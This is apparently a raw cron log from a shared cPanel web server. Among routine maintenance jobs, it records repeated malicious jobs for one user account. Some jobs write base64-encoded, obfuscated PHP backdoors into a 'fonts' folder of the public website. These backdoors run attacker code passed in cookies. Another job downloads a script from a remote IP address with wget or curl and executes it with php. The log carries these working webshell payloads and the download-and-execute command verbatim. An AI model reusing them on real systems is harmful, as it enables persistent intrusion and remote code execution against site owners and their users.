Sep  2 05:33:01 ip-184-168-122-23 CROND[20830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:33:01 ip-184-168-122-23 CROND[20831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:34:01 ip-184-168-122-23 CROND[20942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:34:01 ip-184-168-122-23 CROND[20943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:34:01 ip-184-168-122-23 CROND[20945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:34:01 ip-184-168-122-23 CROND[20946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:34:01 ip-184-168-122-23 CROND[20948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:35:02 ip-184-168-122-23 CROND[21053]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 05:35:02 ip-184-168-122-23 CROND[21058]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:35:02 ip-184-168-122-23 CROND[21059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:35:02 ip-184-168-122-23 CROND[21060]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 05:35:02 ip-184-168-122-23 CROND[21061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:35:02 ip-184-168-122-23 CROND[21057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:35:02 ip-184-168-122-23 CROND[21055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:35:02 ip-184-168-122-23 CROND[21056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:36:01 ip-184-168-122-23 CROND[21182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:36:01 ip-184-168-122-23 CROND[21185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:36:01 ip-184-168-122-23 CROND[21184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:36:01 ip-184-168-122-23 CROND[21186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:36:01 ip-184-168-122-23 CROND[21187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:37:01 ip-184-168-122-23 CROND[21385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:37:01 ip-184-168-122-23 CROND[21386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:37:01 ip-184-168-122-23 CROND[21387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:37:01 ip-184-168-122-23 CROND[21388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:38:01 ip-184-168-122-23 CROND[21610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:38:01 ip-184-168-122-23 CROND[21611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:38:01 ip-184-168-122-23 CROND[21612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:38:01 ip-184-168-122-23 CROND[21616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:38:01 ip-184-168-122-23 CROND[21617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:39:01 ip-184-168-122-23 CROND[21950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:39:01 ip-184-168-122-23 CROND[21953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:39:01 ip-184-168-122-23 CROND[21952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:39:01 ip-184-168-122-23 CROND[21955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:39:01 ip-184-168-122-23 CROND[21954]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 05:40:01 ip-184-168-122-23 CROND[22071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:40:01 ip-184-168-122-23 CROND[22072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:40:01 ip-184-168-122-23 CROND[22073]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:40:01 ip-184-168-122-23 CROND[22075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:40:01 ip-184-168-122-23 CROND[22077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:40:01 ip-184-168-122-23 CROND[22078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:40:01 ip-184-168-122-23 CROND[22076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:40:01 ip-184-168-122-23 CROND[22080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:41:01 ip-184-168-122-23 CROND[22171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:41:01 ip-184-168-122-23 CROND[22172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:41:01 ip-184-168-122-23 CROND[22173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:41:01 ip-184-168-122-23 CROND[22174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:42:01 ip-184-168-122-23 CROND[22294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:42:02 ip-184-168-122-23 CROND[22296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:42:02 ip-184-168-122-23 CROND[22298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:42:02 ip-184-168-122-23 CROND[22297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:42:02 ip-184-168-122-23 CROND[22299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:43:01 ip-184-168-122-23 CROND[22503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:43:01 ip-184-168-122-23 CROND[22504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:43:01 ip-184-168-122-23 CROND[22506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:43:01 ip-184-168-122-23 CROND[22507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:44:01 ip-184-168-122-23 CROND[22633]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:44:01 ip-184-168-122-23 CROND[22635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:44:01 ip-184-168-122-23 CROND[22636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:44:01 ip-184-168-122-23 CROND[22638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:44:01 ip-184-168-122-23 CROND[22637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:45:01 ip-184-168-122-23 CROND[22741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:45:01 ip-184-168-122-23 CROND[22743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:45:01 ip-184-168-122-23 CROND[22744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:45:01 ip-184-168-122-23 CROND[22745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
